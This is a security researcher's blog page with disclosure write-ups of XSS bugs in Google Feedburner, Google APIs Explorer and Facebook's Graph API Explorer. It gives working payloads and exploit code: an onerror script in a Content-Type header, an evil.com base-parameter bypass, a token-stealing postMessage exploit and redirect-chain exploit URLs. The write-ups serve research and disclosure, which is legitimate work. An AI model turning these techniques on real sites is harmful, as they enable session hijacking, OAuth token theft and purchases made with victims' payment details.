Syntax Highlighting

четверг, 30 января 2014 г.

Two stories about XSS on Google

Story 1. The Little Content Type that Could

The vulnerability was found in Feedburner. First, I created a feed and tried to inject malicious data. No success there. Injected data just wouldn’t show up, only harmless links were presented. I took a few more attempts and then I found lots of messages from PodMedic. PodMedic examines links in every feed. If it finds troubles in creating a feed, it reports the cause of such troubles. The messages read that links are incorrect because the content type returned was a text type.
Hmm. Ok. I bet the content type on this page isn't filtered. A simple script for my server:

<?php header('Content-Type: text/<img src=z onerror=alert(document.domain)>; charset=UTF-8'); ?>
And here it is:
 

Story 2. The Little Callback that Could

The Feedburner vulnerability was not satisfying. It was quite simple, actually. So I decided to try something else. APIs Explorer on developers.google.com caught my attention after some searching. Google’s APIs Explorer is a tool that helps you to explore various Google APIs interactively. Google also says that with the APIs Explorer, we can browse quickly through available APIs and versions, see methods available for each API and what parameters they support along with inline documentation and blah blah blah. In fact I was interested in cross-domain messaging based on postMessage. A link to the Google API that we are testing can be given in the Base parameter:
https://developers.google.com/apis-explorer/?base=https://webapis-discovery.appspot.com/_ah/api#p/
The Base parameter is filtered by certain regular expressions (not quite accurately though) but it is easy to bypass them using a %23 symbol:
https://developers.google.com/apis-explorer/?base=https://evil.com%23webapis-discovery.appspot.com/_ah/api#p/admin/reports_v1/
As a result, an iframe with src=evil.com is created and now we’re waiting for messages from it. Every message should have two tokens. First token is in window.name of the iframe, second is given in location.hash. I sniffed messages from https://webapis-discovery.appspot.com/_ah/api and wrote a page that would send the same messages with valid tokens. It worked nice, and I tried to inject some HTML data. No success though. I could change text, image locations but it would not be enough for XSS. There was a documentation link, the location of which could be changed. So I changed it to javascript:alert(document.domain) and it worked perfect.
Still not enough. It required user interaction, but I really don't like it. Users never do what you want them to do (click that wrong link, for instance :) So I found a page on developers.google.com with the callback function (almost all developers think that callbacks are secure). I added redirection to this page with the callback ‘parent.document.links[0].click’ to my exploit after creating the documentation link via postMessage. (Symbols [ and ] were filtered, so actually the callback was as follows: document.body.lastElementChild.previousSibling.lastElementChild.firstElementChild.firstElementChild.lastElementChild.firstElementChild.firstElementChild.firstElementChild.nextSibling). Let’s try it:
Done! Works fine and no need for user interaction. The exploit was as follows:

token_1 = location.hash.split('rpctoken=')[1];
token_2 = window.name;
send_payload(data,token_1,token_2);
window.setTimeout('document.location=callback_url;',3000); // Paused because of slow internet connection…
And of course I made a cool screenshot ;)
I liked that method of exploiting and tried to use it in other services. I used it to steal an OAuth token and to buy any app at Google Play using users’ payment details. Besides, the app could automatically be installed on user’s android device.

The Google Security Team also liked that technique and they described it on OWASP AppSec Eu as Reverse Clickjacking.

понедельник, 27 января 2014 г.

PHDays 2014 Quals: DT_VCS writeup

It was my favorite task from PHDays 2014 Quals, and the best CTF web challenge i made. During the PHDays Quals it was solved only 3 times, so i think that this writeup will be interesting.  

среда, 20 ноября 2013 г.

@shafigullin's XSS puzzles

Interested in cool XSS bugs? Once upon a time @shafigullin made two XSS puzzles which solved only by several people. I solved both, and it's the best challenges i ever know. Unfortunately second XSS puzzle unsolvable now because Chrome patched one bug, and now you can read solution for this puzzle in chrome HERE. Anymore, try to solve it in another browsers.

http://www.shafigullin.pro/s01.html
http://www.shafigullin.pro/s02.html

четверг, 10 октября 2013 г.

A story about XSS on Facebook

I found one interesting tool on facebook - Graph API Explorer. It's a tool to work with Facebook Graph API. You can read or post data to Facebook using this tool, test permissions and so on. What it actually does:
Make JSONP request to graph.facebook.com with some callback to include this JSON data to page. Of course, at first i tried to include callback parameter to request, but unsuccessefully. After lots of trying to inject something i found interesting script that exists on every (or almost every) facebook domain. It's the login.php which allows us to redirect on any *.facebook.com page. At first i tried to make redirect on http://graph.facebook.com/me?callback=alert and it worked! I got alert with [Object object] text. Great!
https://developers.facebook.com/tools/explorer?method=GET&path=login.php?next%3dhttps%253a//graph.facebook.com/me%253fcallback%253dalert
But of course it's not enough for me, until i can run every code. Now i just need to find any place on *.facebook.com where i can store my evil code. My first try was to send file to another user via facebook messages. All i did - just sent evil.txt file with malicious code and changed its content-type to text/javascript. After that this file will be available at
https://www.facebook.com/ajax/messaging/attachment.php?attach_id=<ID>&mid=<MID>&hash=<HASH>
This file available only for receiver of the message, but we can make correct GIF which contains Javascript code (thanks to @isciurus http://isciurus.blogspot.ru/2013/04/a-story-of-9500-bug-in-facebook-oauth-20.html), send it to victim, get a link to malicious file, and use it for exploit. Victim will get our image, click on it, and because of "Content-Disposition" header it will be saved on his computer, and will behave like a normal GIF image. So, nothing suspicious. Anymore i bet there is lots of places where we can store our payload on *.facebook.com. Ok, lets try to execute our code. Trying... And failed. There is "content-security-policy" header, which disallows us to run this code. Seems like i should find another place to store my code... But wait! Internet Explorer ignores this header because it requires "x-content-security-policy header". So, checked it in IE10 and it worked great.
https://developers.facebook.com/tools/explorer?method=GET&path=login.php?next%3dhttps://www.facebook.com/ajax/messaging/attachment.php%253fattach_id%253d<ID>%2526mid%253d<MID>%2526hash%253d<HASH>
I got XSS, reward, lots of fun and of course made cool screenshot ;) Video of exploitation: